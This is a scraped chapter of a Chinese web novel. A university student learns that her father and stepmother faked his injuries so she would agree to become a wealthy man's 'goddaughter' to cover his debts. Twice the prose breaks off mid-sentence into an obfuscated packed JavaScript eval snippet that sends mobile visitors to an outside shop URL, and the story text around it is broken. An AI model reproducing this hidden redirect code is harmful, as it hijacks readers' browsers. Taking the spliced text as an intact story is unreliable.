宿舍几个同学也是,这两天因为她的身体问题大家对她都关注了很多,每天不管干什么,只要下课了,宿舍里就一定会有一个人留下来陪她,给她端茶倒水,搞得她也很不好意思,但又不知道怎么拒绝。 今天留下来陪她的是宿舍里跟她关系最一般的李苁,李苁这个人有些小气还爱讲别人坏话,物质方面也有点计较,而且心思比较敏感,经常给人一种稀里糊涂就把她得罪了的感觉,连木晓晞这种尽可能低调不惹事的人都还是难逃她莫名其妙的阴阳怪气。 所以当知道今天李苁要留下来陪她时,她多少有点抗拒,婉拒了好几次说自己没事让她别担心,不过李苁还是坚持留下来了,还给她买了粥回来。 “你这个人真是的,别人关心你你说谢谢就行了,干什么推来推去的,搞得我像热脸贴冷屁股。”李苁把饭放下,“吃了你几个橙子,还你的,饭钱不用打给我了。” 她没办法,只好笑:“好吧,那谢谢你了苁苁。” “快下来趁热吃,你肠胃不好不能吃凉的。” 木晓晞本来还不饿,但被李苁这么一说,她还是下床去了,她不喜欢麻烦,不太愿意跟李苁起冲突。 两人吃饭的时候,李苁跟她闲聊起来,东拉西扯地说了会儿后对方突然问她:“哎,问你个私事啊,你们家是不是怪有钱的?” 果然。 幸亏木晓晞早有准备:“没有啊,普通家庭。” “肯定骗人。”李苁说,“我这两天可查了啊,那个阅岭集团可厉害着呢啊,市值都接近四百亿了。” 是吗?四百亿? 木晓晞对数字不怎么敏感,也对这些事情毫无了解,“市值”这些词汇的陌生感不亚于跟她聊数学物理里的公式原理。况且对现在的她来说,不要说去主动查探这些事了,光是让她听见和那个姓徐的沾边的任何信息,她的心情就会不自觉弟地烦躁,因此李苁的八卦她也没接,只是糊弄。 “是吗,不太清楚。” “你能不知道?坐着人家五百九十万一辆的车回来学校的,还跟人家吃过饭,能没数?” 木晓晞不知道李苁是为什么非要执着于八卦这些事,这几天她有意不去想相关的事,几乎都快忘了那天的事,结果李苁这么一提,她忽然脑子里就闪过了那天那男人最后说的那些话。 一堆莫名其妙不知所云的话,以及那两个与其说是选项不如说是羞辱的选择。 唯一确定的是,他好像真的像木钧说的那样认识她,见过她,而且知道她的曾用名是“木晓晓”,知道她不喜欢自己的原本的名字。 木钧说她的名字还是他取的,可明明就是她自己要改的啊?她改名的时候是十二岁,那也就是说,那个老男人在她十二岁以前就见过她。 完全没有印象。 她的童年并不愉快,童年的事她几乎都不记得了。 而且木钧还想把她送给那个老男人做情人,卖身换钱,虽然根据后面那张纸条来看,并不一定真的会这样做,但是她还是忍不住回想起当时在那个办公室沙发上时她看到的情形,木钧脸上那变幻莫测的复杂表情。 想到这里,木晓晞又没有吃饭的胃口了,隐隐感觉吐了两天的胃都开始发痛,堵得慌。 “……木晓晞?跟你说话呢!” “什么?” “我说,你那天给我看那个名片的时候,我看到了上面写的职位是总经理秘书,你那个长辈不会就是阅岭集团的总经理吧?” “我不清楚。” “啊?你怎么什么都不清楚啊?” “就见了一面,我能知道什么?我连陈秘书是不是他的秘书都不确定,只知道是个秘书,”木晓晞已经有些不高兴了,“而且名字都是当天才知道的……” “叫什么名啊?我看看百度上有没有百科?” 木晓晞一下闭嘴了,沉默几秒后,敷衍了一句:“忘了。” “啊?” 李苁却像丝毫没察觉到她的不乐意一般,依旧孜孜不倦:“你不是有那个秘书的名片吗?给我看看,我查查那秘书……” 木晓晞不再说话,低头吃自己的东西。李苁在她的座位上喊了她几声都没回应,见她不搭理,也有些不高兴,说:“真没劲,又不是图你家钱,就问个好玩儿,瞧你谨慎的,好像我要跟你抢那迈巴赫座位儿似的。” 就在李苁锲而不舍地试图从她这里套话的时候,忽然,木晓晞的手机响了,她抓起手机就站起来:“我出去接电话。” 说完就拿着手机出门去了。而当她拿起手机看清楚上面的名字后,她一下滞住了。 是……她的继母,后妈。郑艺灵的来电。 之前也说了,木晓晞的母亲在生她时就难产去世了,在她两岁时木钧再婚,再婚对象也就是她现在的后妈郑艺灵,两人在她四岁时又生下了一个孩子,是个儿子,取名为木延,延续了木家血脉的意思。 跟小时候长得土里土气又很不会看眼色总是与长辈顶嘴的她不同,木延从小就长得冰雪可爱,性格亲人情商很高,相当招人喜欢,因为长得好又情商高,从两岁开始就被各大影楼拉去做模特拍照,后来大点了,智力的优势也慢慢发挥出来了,记忆力超群,学什么都是过目不忘,便更得木钧重视家人喜爱。 在木延出生之前,郑艺灵其实对她是很不错的。当然关于这一点她是不记得了,这都是木钧和爷爷奶奶的一致说法。 木延出生后,她也还是跟着郑艺灵生活了两年,六岁以前的生活她没什么印象了,除了一次吵架。木钧和郑艺灵吵得很厉害,好像是因为她,因为郑艺灵给她剃了个光头,两人几乎都快打起来了,扔板凳掀桌子,她吓得躲在自己小床的后面,像个小老鼠一样缩着。 只记得这个画面。 后来又过了一两年,她就被木钧送走了,送去跟外婆一起生活,再后来的事也已经说过,便不再重复。 总之,她和木钧都不算熟,和郑艺灵这位后妈就更不用讲了。前些年青春期时,两人吵过不少架,甚至都到了这个家有这个人在就没那个人的程度。当然了,最后的结果都是以她“离开”那个家为最终结局,一直到她上大学后,两人才勉强恢复到了一种私下从不联系见面维持虚假和平的场面关系。 所以,郑艺灵的电话…… 她去到洗衣房里,关上门,走到窗边戴上耳机,深吸一口气接通了电话。 “喂?”顿了顿,“妈妈?” 却听那头连客套话都没有,直接冷冰冰道—— “打视频吧。” 然后对面挂了电话,很快微信的视频请求就响了起来,她迟疑了几秒,还是接了起来。紧接着,出现在视频那头的画面让她呆住了。 只见郑艺灵的眼睛通红,明显是哭过,难怪刚刚的声音也有点哑。她看起来是在户外,某个公园里。 她有点不祥的预感:“……妈妈,怎么了?” “你不知道怎么了?”郑艺灵反问。 “……” “你爸前两天去找你了吧?家里出的事你也知道了,是吧?” 木晓晞的心脏漏了两拍,握着手机的手紧了紧。 郑艺灵边走路边说:“我也不跟你绕弯子,你爸顾着脸面不好意思给你打这个电话,那我就来做这个坏人给你打,你爸的事你也清楚了,事情挺大的,接近九千万的欠债,我现在也不想跟你讨论他是怎么把这个钱欠下来的,摊上你们父女俩算我倒霉,我认了,现在要做的是解决问题。” “……” “你爸的债主已经找上门来了,昨天家里来了七八个打手把家里能砸的都砸了,现在家里就是一片废墟,睡觉的床都是烂的,你弟弟跟他们打起来了,手臂被打到骨折,你爸牙齿被打掉了一颗,手腕被他们掰断了一只,人被打得重伤,昏迷过去了两天。”郑艺灵找了个偏僻的地方坐下,捂住自己的脸,“而且他们说……他们说……” 她感到自己的大脑一片空白。 郑艺灵抽泣了几声之后强忍住,说:“他们说,如果不能在三天内还上至少三分之一,就把你爸……把你爸……” 【给你一个礼拜去考虑,如果都不选,等着你爸去坐牢,不过以他欠债的金额和得罪的人来看,这已经算是他最理想的梦幻结局。】 【最坏的结果是,他可能都没命上法庭。】 男人的声音在耳边响起。 她感到自己的心跳骤然加速:“报……报警……” 话音刚落,郑艺灵一下子用一种很荒谬的可笑的表情看着她:“报警?你知道你爸到底做了什么?要是报警,他这辈子还能不能出来都是个问题!而且我们一家子依然还要背着债过这种被暴力催债的日子!” 她当然知道她爸做了什么,那个男人给她的那份资料她看了,挨着看了。 接近十二年的时间里借了十几家的高利贷,疯狂进行投资消费炒股,刚开始时他的运气很好,靠着手里不知从哪里来的几百万资金和借高利贷炒股投资,加上当时的时代鸿运,迅速地积累了巨额的财富。他巅峰时期时不说多了,手里小几亿的资产还是有的,木家的家具公司在全省范围内都是小有名气。 这一点木晓晞也是知道的,只是当时她还小,对这些并没有具体的概念。 后来木钧便以为这巨额的财富是他的实力带来的,便开始大胆涉足一些更广泛而他却毫无了解的行业,比如餐饮,酒店,虚拟币,还有……地产。 结果也摆出来了,这些投资没有一样是赚了的,行业爆雷,时代风向和政策的转变……干一行亏一行,本金亏了个干净不说还欠了一屁股债,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“明明你可以做一些事,为了这个家……你小时候……” 她的太阳穴开始突突跳痛起来。 “妈妈……” “你爸要是真的有个什么好歹,你这辈子也别叫我妈了,这个家你也不要再回了,早知道当初我就该听你爸的话,把你送养给别人,是我把你留下来的……是我。” 郑艺灵咬牙切实地重复道:“是我!” 没错,是她。 多亏了她,她现在才能姓木。 “徐敬孚没有结婚,你就算跟他谈几年恋爱,能有什么损失呢?”大概是看到木晓晞的表情有了软化的意思,她的语气也缓和了下来,脸上满是眼泪,“救救我们吧,我们一家真的只能靠你了,求求你了……女儿,妈妈的乖女儿。” 乖女儿。 救救爸爸妈妈还有弟弟吧。 我们只有你了。 木晓晞不清楚这通电话最终是怎么挂断的,当她回过神时,她发现自己的微信聊天框里多了几十条信息,全是郑艺灵发给她的。 那是一张张照片,关于那个被砸得如同灾难现场的家,关于那些可怕的挥舞着铁棍的打手的背影,关于木延的伤势,还有…… 木钧躺在ICU里整颗头还有手脚被包裹起来,鼻腔里插着氧气管的昏睡的样子。 她突然想起来了,挂断电话她前面说了什么。 她说—— 【妈妈,爸爸那些债,我会想办法的。】 身后洗衣房的门忽然被推开,她听到有女生在招呼:“李苁?你也要洗衣服?哎?晓晞你也在啊,哈喽!” 【妈妈别哭了,钱的事我会想办法帮忙的,爸爸不会有事的。】 不。 她怎么会说出这种话。 她怎么会…… * 不清楚是怎么了,可能是酒喝多了,刚应酬完坐着车往回走的徐敬孚忽然感觉很心烦。 “木晓晞那边你联系了吗?”他闭着眼问。 陈遇边开车边恭敬地回:“没有,前两天在出差,我叫人帮忙查到了她的手机号,本来打算今天联系一下的,但是她的手机好像打不通,几个手机都一样,我在想我的手机号是不是都被加到黑名单了,还没来得及跟您说这个事。” “打不通?”徐敬孚捏了捏眉心,抬起手腕看了眼时间,已经是晚上十点左右了。 这个木晓晞。 “把她的手机号给我,我来打。” “现在打吗?” “……太晚了,明天吧。” 木晓晞结束和郑艺灵的视频通话后,失眠一整夜后,天不亮她就给郑艺灵打了电话说这个事她会想办法的,安抚了对方的情绪。 之后,她用她银行卡里这两年存下来的生活费和写文画画赚到的零花钱,买了一张回老家的机票。 候机时,她接到了木延给她的电话。 她猜想应该也是和郑艺灵一样打来劝她想办法的,于是没有接,但木延锲而不舍地给她打了十几个,她最后还是接了。 接起来之后她以为将会听到木延的一通哭诉,像郑艺灵那样劝她去“帮忙还债”,却没想到,对面劈头盖脸就是这样一句—— “木晓晞你贱不贱,要去给一个不认识的老男人做情人?”他咬牙切齿地说,“你是不是把你想得太厉害了,卖个身能卖到一个亿?你在做什么白日梦?!” 面对这样激烈的辱骂,她沉默了好一会儿,这时有一个陌生的手机号打了进来,她看了一会儿那串数字,还是选择先挂断了。 她认识那串数字,这两天已经背下来了,是徐敬孚的手机号。 那个给她两个选择的男人。 挂断后没两秒,徐敬孚又打了进来,她平静地再次挂掉,继续听木延说话。不,应该是辱骂她。 木延在电话那头暴怒地骂了她很多难听的话,但她听得出来,木延的立场和他的母亲郑艺灵不同,他不希望她去“白送”,因为他不认为她值那个钱。 她想了想,还是选择先安抚情绪激动的弟弟:“木延,你误会了,那个叔叔说,他是想让我给他做干女儿,不是情人,是干女儿,没那么可怕的,他只是没有儿女,又比较喜欢我,想让爸爸把我过继给他做女儿,我只需要改姓跟他姓,所以……” “所以什么?”木延在那头难以置信地笑了,“天呐,木晓晞,你二十岁了,你不会以为你这个年纪还能从一个陌生男人身上得到什么真实的父爱吧?没儿没女,喜欢你?哈,你的脑子是被驴踢了?还是被门夹了?喜欢你就让你做他的干女儿?木晓晞你不会跟爸跑了那么多应酬之后还会天真地以为干女儿就是女儿吧?有钱人的干女儿,那不就是二奶三奶小蜜情人吗?!” 徐敬孚没有再打过去,而是发了一条信息。 五个字:【忙完回电话。】 6. 第 6 章 (六) 妈妈,我不敢去上学。 出门! 妈妈外面太黑了,我能不能等天亮了再…… 哐! 门关上了。 “妈妈。”木晓晓急得敲门,“妈妈,我害怕,我害怕妈妈!爸爸!爸爸!我看不见了爸爸!” 门再次打开,是爸爸。爸爸看起来像个怪兽。 “爸爸……”她不禁退后一步。 见爸爸没有扑过来吃她,她又忍不住往前去半抱住爸爸的腿。楼道里黑漆漆的,只剩一个昏暗的小灯勉强亮着,她的影子模模糊糊地团成一片阴影落在墙上,阴森森地看着她。 她又冷又怕,也不敢抬头看爸爸。 爸爸说:“这个学你是上也要上,不上也要上,打你一顿再上还是就这样去上,你自己选。” 她央求道:“爸爸,不要,不要关门,爸爸。” 一双无情的大手将她往门外不耐地一推,将门重重一关。关得声响将卧室里正在沉睡的弟弟吓醒了,这房子不隔音,木晓晓在门外都听到了弟弟的哭声。她知道自己闯祸了,便不敢再叫了。 乖乖,妈妈的乖乖,不哭,不哭啊,都怪爸爸把宝贝吵醒了。 噢哟宝贝儿哦,爸爸的乖宝儿,爸爸抱爸爸抱。 小兔乖乖,把门开开,快点开开,我要进来。不开不开就不开,妈妈没回来,谁来也不开。小兔乖乖…… 楼道的窗户漏着风,一阵凉风吹过来,她冻得一激灵,好冷。她低头看看自己,忘了穿棉袄,只穿了毛衣,也没拿围巾和帽子。 她想敲门,手抬起来好几次都没敲下去。 弟弟还在哭呢,爸爸妈妈要是看见她肯定很生气。弟弟晚上睡不好觉,总是爱哭,搞得爸爸妈妈也总是睡不好,他们睡不好心情就不好,心情不好,就不喜欢她了。 算了吧,也不是很冷。木晓晓打了一个大大的寒颤。她缩了缩脖子,把身后的书包拉紧一点贴在后背上,扭头看向黑漆漆的像鲨鱼嘴巴的楼道,小脸上尽是恐惧。 不怕,晓晓,不怕不怕。鲨鱼不会吃你的。 她紧紧地闭上眼,再次睁开后,心一横一鼓作气地冲了下去。 她不知道自己跑了有多久,当她看到光时,整个人都已经被冻得没了知觉,她只感觉到自己在哭,她听到了自己的哭声。不清楚是从什么时候开始哭起来的,好像已经哭了很久很久,很久,哭得心脏都有点痛了,哭得都忘了在为什么而哭了,只知道浑身上下充斥着一股强烈得快要让人呕吐出来的悲伤。 好像有一个人在耳边一直告诉她:爸爸妈妈不要你了,你知不知道,你没有妈妈,没有爸爸,没人要你。 为什么没人要我呢? 为什么不喜欢我呢? 因为我把弟弟吵醒了吗?因为我不好好睡觉吗?因为我吃得太多了吗?因为我不乖吗?因为我不可爱吗?因为……因为…… 木晓晓哭得好大声,一边哭,一边拉着书包带子往前走,眼前什么也看不清。一阵狂风吹过,将瘦小的她吹得倒退了两步,冻得止不住地哆嗦。 她透过泪眼看到不远处有个模糊的影子。 “你怎么在这里?”影子问。 “上学。”她认出那是个见过的叔叔,“叔叔好。”她抖着身子说。 “现在才五点半,你上什么学。” “妈妈说不睡觉就去上学。” “为什么不睡觉。” “我怕睡着了怪兽要吃我,不想睡。”她哆嗦着抱紧双臂,“叔叔你也不想睡吗?” 那个高大得像超人的影子蹲了下来,给她擦了鼻涕和眼泪:“对,我也不想睡,吃橙子吗?我有一个橙子。” “……要。” 影子给她穿了一件大大的暖和的棉被。 “我给你剥。” 吃了甜的,就不要哭了。 木晓晞不喜欢吃甜的东西,也不喜欢吃橙子,每一次吃,她都会有一种很羞耻的感觉,就好像在品尝自己的眼泪。 但眼泪明明是咸的。 …… 她家离学校很远,又不远,一场梦醒来就到了。 只不过是一场噩梦。 木晓晞早上出门赶飞机的时候没吃什么东西,只带了一个橙子在身边,不过直到下飞机也没有吃。 她没跟任何人说她回来了,本来想和木延说的,可木延似乎不希望她回去,一直警告她:“这个家不需要你,你少多管闲事。” 出机场后她打了车回家,自从上了大学,她都是暑假不回家在外打暑期工,寒假回家过年。这是她第一次在夏日时回家,老家比学校那里的太阳热烈太多,阳光刺得她眼睛都很难睁开,可她的手却从头到尾都没热过。 大概是在飞机上被空调冻着了,她坐在出租车上看着窗外那些陌生又熟悉的街景心想。 有时她也觉得自己很奇怪,明明大多数时候的自己是一个很胆小退缩,遇到一丁点场面就很容易紧张慌神手忙脚乱的人,但遇到一些真正的大事时反而会迸发出一种不属于她的胆量和冷静。好像平白生出一身的坚实铠甲,帮她把外界的进攻全部一丝不落地挡在了躯壳之外,无论动静多大,她的内心都没有一丝的波动,仿若成了另一个人。 大脑也是一如既往地平静,哪怕前面才被木延那样辱骂过,依旧心平气和。 理智告诉她应该因为那些过分的羞辱的话而感到生气、愤怒、伤心,乃至痛苦,可情感上,她却感到自己如一面毫无波澜的湖水,虽然砸进了那么多的污言秽语,却连圈涟漪都没能激起。 这感觉就像曾经面对那一副又一副的棺材时一样。 她到现在都记得自己那时站在那些深爱的人的棺材前时是如何想的,她在想,席上的饭一点也不好吃,流程好多,一会儿还是早点回家去把小说看完。而现在她也在漫无目的地想,橙子又不是橘子,没刀该怎么吃? 很快车就开到了市区,快到家的时候她给木延回拨了电话:“爸爸在哪个医院?几楼?” 今天周六,木延的私立高中今天不上课。 “你,你问这个干什么?”木延的声音有些惊慌,“你回来了?” 她不清楚对方在慌什么。 “嗯,回来了,我现在在车上,还有十五分钟就到家了,但我想先去医院看看爸爸,爸爸还在医院吧?” 木延在那头沉寂了很久,听起来欲言又止好几次,也不知道怎么了,仿佛在做什么心理斗争。 良久,他语气很轻地说:“在,我等下给你发爸的病房号。” “好。” 木晓晞正要挂电话,木延突然叫她:“姐。” 她停住了:“……” 木延:“姐……” 她听出对面的语气不太对:“怎么了延延?” 木延一下有些哽咽:“姐,对不起。” 木晓晞听到这声道歉后愣了会儿,顿了十几秒后,她很机械但得体地回:“没事,我知道你是为我好。” “对不起。” “……” 从小到大,因为这复杂的血缘关系,无论她和娇生惯养的木延之间发生了多少冲突和矛盾,木延都从未主动跟她道过歉,木延可以对所有人情商高,对所有人礼貌,唯独对她不是这样。他好像很确定不管他如何跟木晓晞争吵,最后道歉的都只会是她,无论他犯了多大的错,木晓晞都会原谅她。事实上也确实如此。 这还是第一次,木延和她这样道歉。 这个天之骄子,家庭宠儿,前两个小时刚骂过她“贱不贱”的少年,此时在电话那头却哽咽得说不出什么话来,若不是两人的关系实在说不上好,也许木延就会直接这样哭出来了也不一定,毕竟木延是个从不怯于表达自己情绪情感的人,虽然是个男孩子,却有着无与伦比的眼泪自由。 “对……对不……” 只可惜这断断续续的道歉,并没能让木晓晞觉得感动,她满脑子都在想:这出租车里的汽油味真臭。 电话结束后大约又过了四五分钟,信息才发过来。 【在省医院,住院部四楼3床。妈前面也过去了。】 住院部? 不是……ICU吗? 今天早上,郑艺灵还说木钧在ICU里没清醒过来。 朦朦胧胧之间,木晓晞仿佛抓到了一丝什么东西,她愣了好一会儿,突然翻出郑艺灵给她拍的那些关于木钧的照片从头到尾地重新看起来。 看里头的背景,看木钧的伤势,看他睡的床。 然后她又搜出正常的ICU病房照片,放在一起对比。 看了好一会儿,突然她笑了,笑着笑着,眼泪忽然止不住地往下流。她从衣服兜里拿出那张被她扔进垃圾桶又捡起来的纸条,看着上面那行字:【是爸爸无能才导致了今天的局面,不用为了爸爸去做任何事,照顾好你自己,不管怎么样,爸爸都是爱你的。】 爸爸是爱你的。 爸爸爱你。 不用为了爸爸去做任何事。 这就是她的亲生父亲,她的爸爸,木钧。 真可笑啊。 木晓晞,你这个蠢货,窝囊废。怎么样,告诉你还不如去信邪教,又被骗了吧? 她无声地笑,眼泪成行地往下淌,渐渐地,眼泪慢慢变成了哽咽,哽咽变成了抽泣,而抽泣在最后不可阻挡地变成了嚎啕大哭。 她很久没这样哭过了,说起来,得有十几年了吧。 所有的一切她都明白了,在她最不想明白的时候。她明白为什么木钧会给她买那袋橙子,为什么会留下这张纸条,为什么郑艺灵会给她打那个电话,为什么木延会骂她会说对不起……她都明白了。 她什么都明白了,也品尝到了眼泪的咸味。眼泪不是甜的,可竟也让她感到了无比的羞耻,如同整个人像被破开了前胸腹部,连所有的内脏都被掀开给陌生人取笑参观。 爸爸是爱你的。 爸爸是世界上和你最亲的人,最爱你的人。 骗子。 她下了车,手里拿着那个没吃掉的橙子一步一步地走,走进医院,走进住院部,走进电梯,走进那条楼鲨鱼嘴一般的楼道。一步,一步,再一步地走,直到停在3床的病房门口。 为什么要骗她? “哎老公,姿势摆好,哎对,氧气管插好,我给拍个视频,下午再发给她……别笑!严肃点!别笑!” “……” “头偏一下,眉毛稍微皱一下,别笑!啧!你把被子盖你那破嘴上!笑个屁!” “还没好啊,都拍多少遍了,照片得了,干嘛还非得拍视频?她不都已经相信了吗?” “你这人,做戏做全套你懂不懂!事情还没完全确定,你真以为你那好女儿就不会反悔吗?木延说得对,就算徐敬孚再怎么喜欢这种脑子简单的小白花儿,能值那么多钱?开玩笑,要我说,以徐敬孚的心机和算计程度,能给你两千万都不错了,你不赶个热乎的,等他俩反悔,这事儿可不好搞。” “怕什么,我手里的把柄一大堆,那些人搞我,我也不是吃素的,这次他们没忍住打了我算是出了个损招,就算我要倒霉,我也要把他们一堆人都拉下水,大不了一起死,我光脚的不怕穿鞋的也不怕了,就看他们怕不怕!”木钧得意地说。 “那意思是这次的事就算没有徐敬孚也能有办法了?” 木钧哼笑了一声,把老婆搂进自己怀里,挑眉:“有惊无险吧。” 郑艺灵锤了他一下笑道:“你真是个坏东西,不过坏点好,不坏早被人阴死了,要像你那个蠢蛋女儿那样还不知道要被卖几百次,被亲爹卖了都不知道。” “哎,你说的这话我不认啊,我什么时候要卖她了?是她自己同意的,对吧?” 门外的木晓晞流着眼泪慢慢闭上了眼。 为什么要骗她。 “你也是,既然事情能差不多糊弄过去,干嘛还把女儿送去给人家,你这做法可不像个亲爹,到时候叫人说起来还说是我这个后妈挑唆是非,有了后妈就有了后爹。” 木钧说:“本来我也没打算的,这是实话哈,初心就是想带她去帮我活跃一下气氛拉拉关系,当然了,我之前也听说徐敬孚就喜欢晓晞这一类型的年轻女孩儿,传言处过三个都是这种书生气重的天真小姑娘,我想着呢,不管怎么样,带上呢至少能降低一点他的防备心,只是没想到那个徐敬孚真看上了!” 他拍了两下手,语气了止不住的飞扬和得意,为自己的深谋远虑。 “既然他有那个心,那我们干嘛不把事给做全套了?况且,事是有转机了,可钱还是真的缺……徐敬孚那个人别的不行,说话还是算话的,虽然不知道他为什么会提出这种要求,但肯定有原因。” “什么原因?不就是老色鬼馋小姑娘的身子?” “啧,小声点。” 木晓晞重新睁开眼,拿袖子把自己的脸一点点地擦干。 “行行行,就你大义,就你英明,就准你干不准人说,人家木晓晞现在指不定在宿舍被窝里怎么哭呢,你呢,倒好了,好父亲是你,坏后娘是我,真的,太坏了,太坏了。” 木钧说:“你懂个屁,她是我亲女儿我怎么可能不为她考虑打算,徐敬孚未婚,长得不差年纪也不算多大,事业有成家财万贯,配个脑子简单的木晓晞是绰绰有余,跟着他亏吗?不亏吧?跟几年能给家里带来上千万的收益,不值吗?木晓晞那蠢脑子就算去打工,一年能搞到几个钱?还不如趁年轻,有资本,走点轻松的路,万一真给徐敬孚拿到手了,我们说不好还要凭人家木晓晞过好日子呢!你以为我跟你一样脑子简单,什么都不想?” “好,好,就你厉害,心善,一心为女儿好。” 两人又打闹着说笑了一会儿。 木延一路跑到住院部从电梯口奔出来时,远远看到的就是这样一幅场景,他看到木晓晞手里拿着个橙子和一具失去灵魂的雕塑一般站在3床病房的门口,眼睛通红。 他像被下了木头人的咒语,站在原地不能再动,无法再前进一步。 他就那样看着木晓晞一遍又一遍地给自己擦泪,然而,饶是她一遍一遍地默默擦干脸颊,可干燥却始终持续不了多久,潮湿的痕迹遍布全脸和脖子,连白裙衣领的位置都氤湿了一大片。 不知过了多久,木晓晞似乎也看到了他。目光相接的那一霎,他忍不住往后退了一步。 “姐姐……” 木晓晞最终还是没有推开那扇病房门,不是没有勇气,是没有必要了。她朝着木延的方向走了过来,木延被她的前进逼得不断倒退,直到退到墙根,无可再退。 可直到他贴到墙皮,木晓晞都没有看他一眼,她只是平静地流着眼泪,不时地擦一擦,然后站在那里静静地等电梯。 电梯到了,她毫不犹豫地走了进去。 木延呆呆地看着她进去,电梯门关上,也像失了魂魄。他看着电梯的数字,从四变成三,二,一,停下。 然后又变成了负一,一,二…… 他突然猛地去按了好几次电梯按钮,但医院的电梯总是很慢,他等不及,便奔到楼梯通道去三步并作一步地冲下了楼。他跑出住院部,四处张望,他大声喊:“姐!姐!” 可人群熙熙攘攘来来往往,交错的步伐利落无情地斩断了他们之间最后那根名为亲情的丝线。 他再给木晓晞打电话过去时,已经不能再接通了。 木晓晞花光了自己这些年攒下来的全部零花钱,买了最近也是唯一的一趟飞机,坐了商务舱回去。这是她有生以来坐过最贵的一趟交通工具,一共花了三千八。 下了飞机,她甚至连打车回学校的钱都没有了。兜里只有几块钱现金,她去坐了地铁,买了一张票,坐到离徐敬孚公司最近的那一站地铁站下来。 即便是最近,也还有七公里的路。 然后她就拿着手机开着导航朝着那个方向一直走,沿着陌生的街道与陌生的人擦肩而过,按照导航给的指令她不停地穿行在不同的街道之中,一直走。中间手机没有电了,她还去向小卖部的阿姨借用了充电器,在那里充了十分钟的电,反复感谢了对方后再继续前行。 天早已经黑了,时间已经是晚上八点,公司职员早就下班了。 可她不在乎。 手机的老化导致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200745|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分钟的电很不经用,最后手机还是没能支撑到目的地便关了机,她没有再去找人帮忙充电,而是选择一路走一路问,最终问到了目的地。 当她站在那栋高耸于夜空下的银灰色大楼前时,双脚已经发木,浑身早已被汗水浸得黏腻不堪。 大约时间太晚了,公司的正大门已经关了,可楼上还有星星点点的亮光。她转了两圈找到一个入口可以进去,但进去后却被保安大叔拦住了:“哎,小丫头,你干嘛的?” “我……我找人。” “找谁啊,这都几点了,都下班了,找人明天找,赶紧走!” “全都下班了吗?” “不然呢?都九点了,难道要住公司里啊?走走走!” 木晓晞抿抿嘴,只好跟明显暴躁情绪不好的保安大叔点点头鞠了个躬,轻声说了声“您辛苦了”,然后才离开。 手机没电,兜里没钱,没有地方可以去,路边到处都是蚊子,擦眼泪的纸也全用完了。 她来到大楼附近的一个长椅上坐下,将腿蜷在椅子上,用长长的裙摆尽可能盖住自己的小腿,然后从挎包里拿出了那个橙子,一点点地慢慢剥皮。橙子的香气在橙子皮被撕开一个小口的时候就张扬地洋溢了出来,钻进她的鼻腔里,她用手臂擦了两下眼睛,自言自语:“没纸了,再哭鼻涕怎么擦。” 安静的夜晚不时响起吸鼻涕的声音。 幸亏这座城市还算温暖和安全,木晓晞在这片夜空下并不感到害怕。大片的夜空包裹着她,星星铺满了她的眼睛。她小心地把剥了一半的橙子咬出来一个小口,吸吮着里面的香甜的汁水,嘴硬地说:“一点也不好吃。” 也许是昨夜下了小雨,今天的夜空格外地澄澈,每一颗星星都像洗过似的明亮干净,像一颗颗会闪烁的碎钻镶嵌在那片深不见底的黑色幕布之上,排列成一个又一个形状,而其中最清晰瞩目的也是最亮最漂亮的就是那个华丽的大勺子。 “大勺子,你好吗?最近天气不好好久没看到你也没跟你说话了,你最近怎么样?吃好了吗?睡好了吗?开不开心?” “我?我挺好的,还活着呢。” “活得怎么样?嗯……还行,胳膊腿儿都在呢,比不健全的人活得还是健康很多,就是最近肠胃不太好,还老是头疼。” “当然挺疼的,不过我有药呢,吃了就不太疼了,只是吃多了会头晕犯恶心。” “肯定啦,哪有没副作用的药,人生不就是取舍吗?我不想要疼,就得吃。” “嗯,我也不知道为什么疼,可能我不喜欢上高翻课吧。” “你又不是不知道,我根本不喜欢什么法语,不爱学那些语法,背那些单词,我不知道我的同学们为什么会那么喜欢这个专业,我们对面宿舍有个同学每天早上啊五点就起床了,洗漱收拾,五点半准时出门,我为什么知道?因为她每天一出门,楼道门就会哐当一下,然后我就醒了。” 她摇摇头,感慨地说:“两年,不是两天,整整两年都这样,真佩服她,我要有这劲儿,搞不好还能跟木延一样上清华北大呢。” “他?还没上呢,妈……郑艺灵说他明年如果竞赛拿上好名次了,大概率就能上了,挺有出息的吧?聪明又上进,不像我。” 她顿了一会儿,又重复了一次。 “不像我。” 又窝囊,又愚蠢。 她又笑了一下,叹了一下气,就好像在人说话一样,可她的对面什么也没有,只有一条来往穿行着汽车的马路。她低着头吸了一会儿橙子水,好一阵都没说话。 大勺子悬在她的头顶,闪一闪的,好像真的在和她讲话。 “哭?没哭。” “我不会哭的,我没纸了。” “这个橙子好多水,我手上都被弄到了,怪不得我不喜欢吃这个东西,真不方便,不过我饿了,凑合吃吧,吃完我得找个地方去洗手,楼前面有个喷泉池子,里面有水呢,幸运吧?” 她把橙子皮剥光,将吸得干巴巴的橙子肉也吃进嘴里,然后跑去池子边洗手,不管水脏不脏,她反正也用来洗了嘴巴。洗完后,她将自己的裙子裙摆的内衬翻出来,小心地在嘴上蘸了几下,又擦了擦手。 “白裙子很容易脏啊,嗯,最起码得看起来干净点。”她看着池子里黑乎乎的自己的倒影,“要是卖相不好,就卖不出好价格了,不是吗?” “木晓晞……加油。” 要拿到钱,还给他们。 陈遇第二天一早上班时,看到了睡在长椅上的白裙女孩儿。不少上班族在路过时都会用一种很奇怪的眼神看去一眼,大概是不明白这样一个看起来干净漂亮的女孩儿为什么会睡在大街上。 “你先走,嗯,我等会儿去找你。” 打发走同事后,陈遇走到长椅旁边,把女孩儿叫醒了:“木小姐,木小姐?” 木晓晞糊里糊涂地醒过来,眼神朦胧:“陈……陈秘书。” 